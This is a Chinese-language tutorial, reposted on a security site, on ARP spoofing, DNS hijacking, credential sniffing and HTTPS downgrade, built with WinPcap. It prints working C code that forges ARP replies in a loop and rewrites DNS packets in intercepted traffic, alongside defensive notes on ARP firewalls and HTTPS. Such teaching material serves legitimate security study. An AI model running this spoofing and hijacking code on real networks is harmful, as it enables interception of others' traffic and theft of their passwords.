为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

WinPcap开发(三):欺骗与攻击

2016-6-3 16:46| 投稿: lofor

摘要: 0×00 前言上一章节,我们学习了主机发现和端口扫描的原理,并基于winpcap开发相关工具进行测试,针对实验数据进行比对,最后提出优化建议。本章节将介绍ARP欺骗与中间人攻击的相关知识,并利用winpcap进行相关实验 ...

0×00 前言

上一章节,我们学习了主机发现和端口扫描的原理,并基于winpcap开发相关工具进行测试,针对实验数据进行比对,最后提出优化建议。本章节将介绍ARP欺骗与中间人攻击的相关知识,并利用winpcap进行相关实验。

0×01 ARP欺骗

前两章节里已经介绍过ARP协议的格式,其主要用于子网内主机IP地址与MAC地址映射关系的建立。

上图是主机B(192.168.0.200)发起的一次针对网关A(192.168.0.1)主机的ARP请求,请求包的目的MAC地址为Broadcast地址,即子网内所有主机均可以收到该查询包,而只有网关会针对该查询作出响应。查看主机B的ARP缓存,可发现会多出如下图记录。

可见主机在完成ARP请求后,会将相关的查询记录存入缓存列表,以免重复请求,从而提高效率。

那么问题来了,如果该子网中主机C(192.168.0.100)冒充网关A进行ARP回应,会发生什么事?下面我们依旧利用ARPSPOOF源码中的一段代码进行该欺骗实验。

关键代码
//
// 发送ARP响应数据包的欺骗线程
//
UINT SpoofThread(LPVOID lparam)
{
ARPSPOOF arpspoof;
memcpy(&arpspoof, (PARPSPOOF) lparam, sizeof(ARPSPOOF));
u_char ucFrame[ARP_LEN];
// 设置Ethernet头
ETHeader eh = { 0 };
memcpy(eh.dhost, arpspoof.ucTargetMAC, 6);
memcpy(eh.shost, arpspoof.ucSelfMAC, 6);
eh.type = htons(ETHERTYPE_ARP);
memcpy(ucFrame, &eh, sizeof(eh));
// 设置Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARP_REPLY);
memcpy(ah.smac, arpspoof.ucPretendMAC, 6); //Falsified C's MAC address
ah.saddr = inet_addr((char *) arpspoof.szIP);  //C's IP address
memcpy(ah.dmac, arpspoof.ucTargetMAC, 6);
ah.daddr = inet_addr((char *) arpspoof.szTarget);   //Destination A's IP address
memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));
// Loop send RARP Packet 
while(1)
{
if(pcap_sendpacket(arpspoof.adhandle, (const unsigned char *) ucFrame,
ARP_LEN) < 0)
{
printf("Send Packet Error\n");
return FALSE;
}
StaticARP(arpspoof.szIP, &arpspoof.ucIPMAC[0]);
Sleep(1000); // Sleep 1 sec to restore arp cache
}
return TRUE;
}

该段代码主要是用来模拟网关A进行ARP响应,但是其中的MAC地址是主机C的,这样会导致主机B收到该响应包,而认为主机C的MAC地址是网关192.168.0.1对应的MAC。下图是欺骗程序启动后的缓存图。

可以看到该MAC地址实际上属于主机C(192.168.0.100)

使用wireshark抓包可以看到,欺骗程序在不断的发送如下图欺骗数据包,同时伪装主机B和网关A。

周期性发送虚假ARP包,原因在于该子网中的真正主机也会进行正常的应答,为了让目标主机的ARP缓存始终更新为虚假MAC地址,则需要我们高频发送虚假ARP包。

看到这里,我们会发现,主机C像一个幽灵一样,成功的进入了主机B和网关A之间的通信链路,充当了信使的作用,带来了很大的安全隐患。这个信使可以随意查看、篡改、截留该通信链路上的数据。这便是一种形式的中间人攻击,在后面的小节中我们会介绍几种中间人攻击的应用场景。

0×02 ARP防火墙

针对上述ARP欺骗的危害,各大安全厂商也推出了ARP防火墙,用于防范ARP欺骗攻击。

下面我们来看看某知名安全厂商的ARP欺骗防护产品。(先声明一下,笔者真的真的真的没有没有没有拿过任何形式广告费,重要的事说三遍!!!)

打开“安全卫士”,进入“我的工具”,可以看到“流量防火墙”。

开启ARP防火墙,同时进行数据包截取,可以看到防火墙在进行初始化时,在4秒内向网关发送了9次ARP请求。

这一步骤是为了防火墙在绑定网关时,确保所绑定地址的正确性,而不是将中间人地址绑定,否则防火墙会变成中间人的加固墙。下图是启动后的防火墙,已经自动绑定了网关。

此时,我们开启ARP欺骗程序,会看到防火墙如下反应。

矮油,不错哦。ARP欺骗攻击被成功检测出来并进行了拦截。

从上可以看到,ARP防火墙是通过绑定网关MAC来防止中间人冒充网关。那么,中间人冒充主机B欺骗网关呢?在ARP主动防御中,防火墙提供了对应的策略。

这些设置其实就是让客户机主动进行ARP广播,周期性地告知子网内的所有主机自己的真实地址。但是这也存在着一个问题,如果中间人广播的频率更快呢?这势必会引发网络的不稳定性。如果在网关上,也绑定主机B的地址,那么就可以很好的避免这个问题。在一些安全性要求较为严格的网络环境中,便是这样做的。

聪明的同学已经发现,使用ARP欺骗进行恶意广播,会导致主机断线或者流量的劫持,基于这一原理,各类网管工具便应用而生。网络执法官、P2P终结者便是利用中间人攻击的原理,劫持流量,对流量进行限制。

0×03 DNS劫持

上面介绍的ARP欺骗可以使得中间人获取主机与网关的所有通信数据,那么我们可以对其中的重要数据做一些改变,以完成我们的目的。

从下图中我们看到,中间人机器主机C上成功截获到主机B和网关A的通信数据,该段通信数据是访问freebuf网站。

我们改变其中的DNS数据包,篡改其中的数据内容,即可将访问引向我们的目标网站,这便是DNS劫持。

此处有两种方法可以实现:

1.将DNS请求包的请求域名改成目标域名;

2.将DNS应答包中查询结果改成目标IP。

下面我们使用方法1进行域名 www.ifeng.com 到 www.elong.com 的劫持。

ARPSPOOF程序中带有数据包内容替换功能,但是其只能修改TCP的内容,而DNS协议是基于UDP协议的,所以我们需要将程序进行调整。

关键代码:
//
// 替换数据包中内容, 重新计算校验和
//
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
    IPHeader *ih;
    UDPHeader *uh;
    u_int ip_len;
eh = (ETHeader *) pkt_data;
ih = (IPHeader *) (pkt_data + 14);
ip_len = (ih->iphVerLen & 0xf) * 4;
uh = (UDPHeader *) ((u_char*)ih + ip_len);
// 得到UDP数据包的指针和长度
unsigned char *dataudp = (unsigned char *) ih + sizeof(_IPHeader) 
+ sizeof(struct _UDPHeader);
int lenudp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_UDPHeader));
// 开始替换数据内容,重新计算校验和
PSTRLINK pTmp = strLink;
int i = 0;
while (pTmp->next)
{
// 开始匹配规则进行替换
if(ntohs(*(USHORT *)(dataudp+2)) == 0x0100)//UDP请求包
{
if (Replace(dataudp, lenudp, pTmp->szOld, pTmp->szNew))
{
printf("    Applying rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
i ++;
}
}else
{
if (Replace(dataudp, lenudp, pTmp->szNew, pTmp->szOld))//UDP应答包
{
printf("    Applying rul %s ==> %s\n", pTmp->szNew, pTmp->szOld);
i ++;
}
}
pTmp = pTmp->next;
}
if (i >0) // 如果数据包被修改,重新计算校验和
{
printf("[*] Done %d replacements, forwarding packet of size %d\n",
i, pkt_len);
ih->ipChecksum = 0;
uh->uh_sum = 0;
ih->ipChecksum = checksum((USHORT *)ih, sizeof(_IPHeader));
ComputeUdpPseudoHeaderChecksum(ih, uh, (char *)dataudp, lenudp);
}
else
printf("[*] Forwarding untouched packet of size %d\n", pkt_len);
}

需要注意的是,DNS请求和应答是配对的,需要两者的ID一致,且请求和应答的域名一致才可生效。所以上面的代码段将DNS请求包中的域名替换成目标域名,然后再将应答中的域名恢复成原始域名。

由于DNS也有缓存机制,所以在实验前,需要将主机内的缓存清除,使用ipconfig/flushdns命令清除DNS缓存。

启动中间人主机C上的DNS劫持程序,然后在被劫持主机B上面PING某知名网站。

下图为正常主机上所得到的两知名网站的结果。

通过比对发现,主机B已经受到dns劫持,域名ifeng.com被劫持到elong.com。可以通过ipconfig/displaydns查看其dns缓存。

在dns劫持的情况下,主机B用浏览器访问 http://www.ifeng.com ,中间人主机C上进行抓包,可以看到如下结果。

主机B的浏览器打开的页面如下。

这样便完成了一次简单的DNS劫持攻击。我们还可以在子网中伪造DNS服务器,为网内用户提供解析服务,按照需求将一些DNS请求解析到目标IP上。

0×04 隐私获取

说到中间人攻击,不得不提到的就是wifi安全,根据360最新发布的 《315 WIFI安全报告》

可以看到目前WIFI安全问题非常突出。

315晚会上也连续两年提到了wifi安全所导致的各类侵害事件。

从315晚会的现场实验中可以看到安全人员利用中间人攻击劫持wifi流量,获取了大量隐私数据,其中包含大量用户名和密码。下面我们举个例子,看看如何从流量中过滤出重要数据。

打开某网站登录页面

输入用户名密码,点击登录,利用fiddler抓取网页数据包,可以看到如下结果。

可以看出,该网站使用明文传输用户口令,所以可以很容易的过滤出这些内容。感兴趣的同学会发现,目前很多网站或应用都采用明文传输信息。

0×05 HTTPS安全吗?

为了解决中间人攻击带来的数据泄露问题,HTTPS开始逐渐普及,目前很多重要网站都全站使用https协议。

但是这并不意味https就是完全安全的。

波兰遭遇大规模DNS劫持攻击 这便是一次针对https的攻击,黑客采用ssl剥离技术,实施中间人攻击。在自己与银行之间按照正常情况适用https,但是在用户与自己之间是http,这样便可以成功捕获用户明文数据。

由于https的大规模使用对于企业有一定的成本,所以很多网站并非全站使用https,而是在一些关键页面使用,如登录页、个人主页等,这便存在一种普遍现象,从http页面跳转到https页面,意味着https页面的入口页面是不安全的,那么就存在很大的安全隐患。

下图是从CSDN首页进入的登录页面,可以看到登录页是https。

这是首页的代码,可以看到首页是http协议,所以这个页面是可以进行篡改,将登录按钮的链接替换,把登录页从https降为http。

下图为http的登录页。

使用该页面登录我们成功捕获到了明文密码。

而FREEBUF登录页面就好很多,将登录地址改为http后,页面会自己跳转到https。

0×06总结

在本章中,我们学习了ARP欺骗及防护、DNS劫持、中间人攻击、HTTPS等相关知识,并利用winpcap开发工具进行测试实验。而在我们的生活中,很多地方都存在着中间人攻击,多家安全厂商也披露过相关事件,例如运营商劫持流量进行广告推广、黑产劫持中间设备替换各类软件升级包等。最后和大家共勉的一句话就是,外面的wifi还是别蹭了吧!!!


小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部